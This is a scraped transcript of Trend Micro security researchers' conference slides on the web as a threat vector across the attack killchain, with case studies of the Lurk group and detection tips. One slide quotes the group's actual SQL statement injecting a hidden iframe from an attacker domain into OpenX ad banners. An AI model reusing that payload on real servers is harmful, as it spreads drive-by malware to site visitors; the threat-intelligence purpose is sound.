fyodor yarochkin, vladimir kropotov, trendmicro · fyodor yarochkin, vladimir kropotov, trendmicro...

51

Upload: voxuyen

Post on 21-May-2018

232 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script
Page 2: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR

Web As Ongoing Threat Vector: Case Studies from Europe and Asia Pacific

Page 3: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Introduction

3

Page 4: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

So how web is being used and abused?

The trivial: Drive-bysEKs.. but there is much more than this

4

Page 5: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Software gets smarter, users become .. the opposite ;)

With or without YOU...

5

Page 6: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Penetration and Data Exfil. Campaigns

These seem to leverage web for all steps of traditional killchain:• recon :social lures, system fingerprinting,

targeted delivery of first stage payloads•exploitation: exploits, social engineering tricks,

phishing• c2: compromised sites, proxies, social network

websites •data exfiltration: cloud services are often used

for data exfil to mimic user behaviors

6

Page 7: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Out of scope

•We will not talk about trivial stuff here.•We will not talk about Denial of Service Attacks,

Except for unusual trends.•We expect everybody in the room knows what

Exploit Kits and Drive-by-Download attacks are

• Focus less known, but important cases and situations

7

Page 8: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Censorship will save the future :)

Page 9: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Side effects of Internet Censorship

Page 10: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Infrastructure compromise could lead to bad impacts

Blacklisted domains resolve to “arbitrary” sites

Github incident

Page 11: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

GosKomNadzor (blacklisting)

Page 12: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

dymoff.space

Page 13: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

dymoff.space

Page 14: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

How to Kill a site in country-wide scale

Page 15: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

The Killchain

the common concept that Web is used during the exploitation process.The reality is that we’ve seen use of web systems across the whole killchain.

15

SMART

Page 16: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Killchain: Reconnaissance

16

Page 18: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Reconnessance tools

18

Page 19: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Non Violent environment fingerprinting actions

Flash case from Lurk:

19

Page 20: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Recon with multi-staged payloads

20

Page 21: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Killchain: delivery and exploitation

21

Page 22: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Web portals as a threat vector

• Initial vectors of compromise in targeted attacks (map pentest and APT scenarios)• Misconfigurations and their consequences

(unpredicted data leaks)

•Exfiltration as a customer communication (hypothetical, but maybe already in the wild)

•BPC or Business logic compromises

22

Page 23: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Anti-forensic in early days

23

Page 24: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Delivery on non-standard ports

24

Page 25: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Watering Hole as a threat vector

credit: Joseph C Chen

25

Page 26: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Caching routines as a threat vector (Lurk Case 1)

• memcached Cache poisoning•Observed: continuous flood of connection requests to TCP 11211 (default memcached port)•Cached pages were updated with ‘iframed’ versions of these pages on the fly

26

Page 27: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

SSH Vuln as a threat vector (Lurk Case 2)

•Machine was compromised via an ssh vulnerability•Apache web server had additional module installed: mod_proxy_mysql.so (didn’t link any mysql libraries)•This is possibly a modified version of http://pastebin.com/raw/6wWVsstj as reported by succuri (https://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-backdoor.html)

27

Page 28: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

OpenX as a threat vector (Lurk Case 3)OpenX compromise• webshell installed• The Lurk group periodically modified banners table with

•update `banners` set htmltemplate=concat(htmltemplate, '<script>document.write(\'<div style="position:absolute;left:1000px;top:-1280px;">

•<iframe src="http://couldvestuck.org/XZAH"></iframe></div>\');

•</script>') where storagetype='html'•This causes the OpenX script ‘/www/delivery/ajs.php’ to produce the HTML code with this iframe snippet appearing at the page.

28

Page 29: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

EK Evolution mostly focused on Usability and Antiforensics

•Serve where you can

•Serve by IP once per day

• Include GEO specifics

•Serve during Intervals

•Serve for appropriate browser

•Server in appropriate environment

• ….

29

Page 30: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

ADD Period Abuse

30

Page 31: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Exploiting trusted redirects

31

Page 32: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Killchain: Command And Control

32

Page 33: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

social networks are widely utilized as intermediate c2

33

Page 34: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Telegram as c2

34

Page 35: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Legit and non legit use

•C2 on compromised web sites (Korea case and many others)•Major objectives

–Adds extra layer of obfuscation–Minimize untrusted connections issues

35

Page 36: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Steganography

Hunting for MZ (pe binaries) insiide .jpg files Saumil did awesome job exploring the boundaries: stegosploit

36

Page 37: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Persistence: awesomeness of simplicity

37

Page 38: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Killchain: Action

38

Page 39: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Ransomware attacks on server side web application

•All your data belongs to us

39

Page 40: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Cloud Exfiltration

40

Page 41: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Cloud Exfiltration

41

Page 42: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Client side web application as a threat vector

Maybe extend attack surface to open redirect,

•open redirect•SSRF•Phishing forms•EK And make an introducion and focus on interesting EK cases

42

Page 43: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Tips on Detection

•Defence Action plan for CSIRT teams

43

Page 44: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Small things matter: investigate

44

Page 45: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Other interesting artifacts of Web Exploitation

45

Page 46: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Exploit Kit Traces: ActiveX Controls

46

Page 47: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Detection and mitigation experience

•Applying IOCs for own protection•How to tune proxies for EK Mitigation

•Web as a second Echelon of Email attacks

–Good case, javascript by email, which triggers binary troug web

47

Page 48: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Hacker, hacker, who are you?

•VPN problem?

48

Page 49: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

Strange use of F...

49

Page 50: Fyodor Yarochkin, Vladimir Kropotov, TrendMicro · Fyodor Yarochkin, Vladimir Kropotov, TrendMicro FTR ... •BPC or Business logic compromises 22. ... •This causes the OpenX script

LEVEL 80: Persistence in the human brain - Abuse of social networks to manipulate Human Decisions

50